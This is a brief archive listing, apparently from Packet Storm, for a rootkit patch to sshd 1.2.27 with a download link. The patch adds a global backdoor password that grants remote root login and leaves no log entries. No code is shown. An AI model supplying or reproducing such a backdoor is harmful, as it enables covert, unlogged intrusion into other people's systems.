Patch to sshd-1.2.27 to make a global backdoor password. Allows remote root logins when magic password is used, and doesnt write anything to the logs.
You can download it from the following link: https://packetstormsecurity.com/files/download/11125/rkssh5.tar.gz
Source: https://packetstormsecurity.com/files/11125/rkssh5.tar.gz.html